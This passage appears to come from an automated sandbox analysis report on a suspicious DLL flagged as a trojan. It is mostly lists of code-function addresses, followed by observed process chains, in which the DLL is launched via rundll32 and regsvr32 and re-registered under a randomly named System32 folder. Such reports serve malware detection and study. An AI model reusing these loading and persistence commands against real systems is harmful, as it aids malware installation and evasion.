                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_000000018000F128
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_000000018001CD38
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_0000000180016D3C
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_000000018001F944
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_0000000180018148
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_000000018001ED50
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_0000000180013150
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_000000018001D950
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_000000018001E960
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_0000000180019D60
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_0000000180001D68
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_000000018001496C
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_0000000180002D70
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_0000000180002178
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_0000000180024D80
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_0000000180018598
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_0000000180003598
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_000000018002A9A8
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_00000001800119A8
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_0000000180025DAC
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_0000000180018DAC
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_00000001800269B0
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_00000001800059B8
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_00000001800029BC
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_00000001800141C0
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_00000001800125C4
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_00000001800121CC
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_000000018000BDD0
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_00000001800075D4
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_00000001800095DC
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_000000018000F9E8
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_0000000180002610
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_0000000180019618
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_0000000180013E28
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_000000018001FA38
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_000000018000A270
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_0000000180019E78
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_000000018001DA80
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_0000000180024698
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_000000018000EE98
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_00000001800176B8
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_000000018001AAB8
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_0000000180011AD0
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_0000000180008AD8
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_00000001800296EC
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_000000018000A6EC
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_00000001800132F0
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_0000000180019300
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_000000018001BB04
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_000000018002870C
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_0000000180026B10
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_000000018000131C
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_000000018000671C
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_0000000180029B28
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_0000000180012F28
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_000000018000BB28
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_000000018001EB30
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_0000000180020334
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_0000000180010758
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_000000018001435C
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_0000000180009F5C
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_0000000180029368
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_0000000180020768
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_0000000180017378
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_0000000180013780
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_0000000180015388
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_000000018000338C
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_000000018000738C
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_0000000180002790
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_0000000180027F9C
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_00000001800197A0
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_000000018002C7B4
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_000000018001DFB4
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_000000018001F7C0
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_00000001800097C0
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_00000001800157D8
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_0000000180019FDC
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_0000000180017BDC
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_000000018000F7E0
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_0000000180001FE0
                      Source: C:\Windows\System32\rundll32.exeCode function: 3_2_0000018A6B420000
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180010FF4
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_000000018002C058
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180009100
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_000000018000C608
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180021618
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_000000018001E3AC
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_000000018001DBE8
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_000000018001FC0C
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_000000018000580C
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180022010
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_000000018001481C
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_000000018002A42C
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180011834
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180021C3C
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_000000018000703C
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_000000018000AC48
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_000000018000FC48
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180006458
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_000000018001C05C
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_000000018001A460
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180029888
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_000000018001D49C
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180008CA0
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_00000001800248A8
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180015CB0
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_00000001800124B4
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_000000018000C4B4
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_00000001800288B8
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_00000001800024B8
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_000000018000D8C4
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_00000001800250CC
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_00000001800190D4
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180017CE4
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_00000001800264F0
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_00000001800014F8
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180020CFC
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_000000018002C904
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180017908
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180021510
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_000000018000F917
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_000000018000551C
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_000000018000F128
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_000000018001CD38
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180016D3C
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_000000018001F944
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180018148
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_000000018001ED50
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180013150
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_000000018001D950
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_000000018001E960
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180019D60
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_000000018001C964
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180001D68
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_000000018001496C
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180002D70
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180002178
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180024D80
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180018598
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180003598
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_000000018002A9A8
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_00000001800119A8
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180025DAC
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180018DAC
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_00000001800269B0
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_00000001800059B8
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_00000001800029BC
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_00000001800141C0
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_00000001800125C4
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_00000001800121CC
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_00000001800075D4
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_00000001800095DC
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_000000018000F9E8
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180002610
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180019618
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180013E28
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_000000018001FA38
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_000000018000A270
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180019E78
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_000000018001DA80
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180024698
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_000000018000EE98
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_00000001800176B8
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_000000018001AAB8
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180011AD0
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180008AD8
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_00000001800296EC
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_000000018000A6EC
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_00000001800132F0
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180019300
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_000000018001BB04
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_000000018002870C
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180026B10
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_000000018000131C
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_000000018000671C
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180029B28
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180012F28
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_000000018000BB28
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_000000018001EB30
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180020334
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180010758
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_000000018001435C
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180009F5C
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180029368
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180020768
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180017378
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180013780
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180015388
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_000000018000338C
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_000000018000738C
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180002790
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_00000001800197A0
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_000000018002C7B4
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_000000018001DFB4
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_000000018001F7C0
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_00000001800097C0
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_00000001800157D8
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180019FDC
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180017BDC
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_000000018000F7E0
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000000180001FE0
                      Source: C:\Windows\System32\rundll32.exeCode function: 4_2_0000017905E60000
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_010D0000
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_0000000180010FF4
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_0000000180028C20
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_000000018002C058
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_000000018001ACA4
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_000000018000551C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_0000000180018148
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_000000018001496C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_000000018000E1E0
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_000000018000C608
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_0000000180021618
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_0000000180013E28
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_000000018002AE44
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_000000018000D26C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_0000000180025278
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_000000018000EE98
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_00000001800046A8
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_000000018001AAB8
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_0000000180004ACA
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_00000001800132F0
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_0000000180026B10
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_000000018001DBE8
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_000000018001FC0C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_000000018000580C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_0000000180022010
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_000000018001481C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_000000018002A42C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_0000000180011834
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_0000000180021C3C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_000000018000703C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_000000018000AC48
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_000000018000FC48
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_0000000180024458
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_0000000180006458
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_000000018001C05C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_000000018001A460
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_0000000180029888
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_000000018001D49C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_0000000180008CA0
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_00000001800248A8
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_0000000180015CB0
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_00000001800124B4
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_000000018000C4B4
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_00000001800288B8
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_00000001800024B8
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_000000018000D8C4
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_00000001800250CC
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_00000001800190D4
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_0000000180017CE4
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_00000001800264F0
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_00000001800014F8
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_0000000180020CFC
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_0000000180009100
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_000000018002C904
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_0000000180017908
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_0000000180021510
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_000000018000F917
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_000000018000F128
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_000000018001CD38
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_0000000180016D3C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_000000018001F944
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_000000018001D950
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_0000000180013150
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_000000018001ED50
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_000000018001E960
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_0000000180019D60
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_000000018001C964
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_000000018001C568
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_0000000180001D68
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_0000000180002D70
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_0000000180024574
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_0000000180002178
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_0000000180024D80
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_0000000180018598
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_0000000180003598
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_000000018001F1A4
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_000000018002A9A8
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_00000001800119A8
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_0000000180025DAC
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_0000000180018DAC
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_00000001800269B0
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_00000001800059B8
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_00000001800029BC
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_00000001800141C0
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_00000001800125C4
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_00000001800121CC
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_000000018000BDD0
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_00000001800075D4
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_00000001800095DC
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_000000018000F9E8
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_0000000180002610
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_0000000180019618
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_000000018001FA38
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_000000018000A270
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_0000000180019E78
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_000000018001DA80
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_0000000180024698
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_00000001800176B8
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_000000018002CAD0
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_0000000180011AD0
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_0000000180008AD8
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_00000001800296EC
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_000000018000A6EC
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_0000000180019300
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_000000018001BB04
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_000000018002870C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_000000018000131C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_000000018000671C
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_0000000180029B28
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_0000000180012F28
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_000000018000BB28
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_000000018001EB30
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_0000000180020334
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_0000000180010758
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_000000018001435C
                      Source: C:\Windows\System32\regsvr32.exeSection loaded: sfc.dll
                      Source: C:\Windows\System32\regsvr32.exeSection loaded: sfc.dll
                      Source: Ru97gvh8ir.dllVirustotal: Detection: 30%
                      Source: Ru97gvh8ir.dllStatic PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
                      Source: C:\Windows\System32\loaddll64.exeKey opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers
                      Source: unknownProcess created: C:\Windows\System32\loaddll64.exe loaddll64.exe "C:\Users\user\Desktop\Ru97gvh8ir.dll"
                      Source: C:\Windows\System32\loaddll64.exeProcess created: C:\Windows\System32\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\Ru97gvh8ir.dll",#1
                      Source: C:\Windows\System32\loaddll64.exeProcess created: C:\Windows\System32\regsvr32.exe regsvr32.exe /s C:\Users\user\Desktop\Ru97gvh8ir.dll
                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\Ru97gvh8ir.dll",#1
                      Source: C:\Windows\System32\loaddll64.exeProcess created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\Ru97gvh8ir.dll,DllRegisterServer
                      Source: C:\Windows\System32\loaddll64.exeProcess created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\Ru97gvh8ir.dll,DllUnregisterServer
                      Source: C:\Windows\System32\regsvr32.exeProcess created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\CYwMLUBpfJVi\miBCQZcqs.dll"
                      Source: unknownProcess created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
                      Source: unknownProcess created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
                      Source: unknownProcess created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
                      Source: unknownProcess created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
                      Source: unknownProcess created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
                      Source: C:\Windows\System32\loaddll64.exeProcess created: C:\Windows\System32\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\Ru97gvh8ir.dll",#1
                      Source: C:\Windows\System32\loaddll64.exeProcess created: C:\Windows\System32\regsvr32.exe regsvr32.exe /s C:\Users\user\Desktop\Ru97gvh8ir.dll
                      Source: C:\Windows\System32\loaddll64.exeProcess created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\Ru97gvh8ir.dll,DllRegisterServer
                      Source: C:\Windows\System32\loaddll64.exeProcess created: C:\Windows\System32\rundll32.exe rundll32.exe C:\Users\user\Desktop\Ru97gvh8ir.dll,DllUnregisterServer
                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\Ru97gvh8ir.dll",#1
                      Source: C:\Windows\System32\regsvr32.exeProcess created: C:\Windows\System32\regsvr32.exe C:\Windows\system32\regsvr32.exe "C:\Windows\system32\CYwMLUBpfJVi\miBCQZcqs.dll"
                      Source: C:\Windows\System32\regsvr32.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{D105A4D4-344C-48EB-9866-EE378D90658B}\InProcServer32
                      Source: classification engineClassification label: mal76.troj.evad.winDLL@18/5@0/2
                      Source: C:\Windows\System32\regsvr32.exeFile read: C:\Users\desktop.iniJump to behavior
                      Source: C:\Windows\System32\regsvr32.exeCode function: 6_2_00000001800046A8 CreateToolhelp32Snapshot,Process32FirstW,FindCloseChangeNotification,
                      Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\rundll32.exe rundll32.exe "C:\Users\user\Desktop\Ru97gvh8ir.dll",#1
                      Source: C:\Windows\System32\svchost.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                      Source: C:\Windows\System32\svchost.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                      Source: C:\Windows\System32\svchost.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                      Source: C:\Windows\System32\svchost.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
                      Source: Ru97gvh8ir.dllStatic PE information: Image base 0x180000000 > 0x60000000
                      Source: Ru97gvh8ir.dllStatic PE information: DYNAMIC_BASE, NX_COMPAT
                      Source: Binary string: msacm32.pdb source: regsvr32.exe, 00000006.00000002.955307341.0000000000E74000.00000004.00000010.00020000.00000000.sdmp
                      Source: Binary string: msacm32.pdbGCTL source: regsvr32.exe, 00000006.00000002.955307341.0000000000E74000.00000004.00000010.00020000.00000000.sdmp
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_000000018001AFFD push ebp; retf
                      Source: C:\Windows\System32\regsvr32.exeCode function: 2_2_00000001800051D1 push ebp; iretd
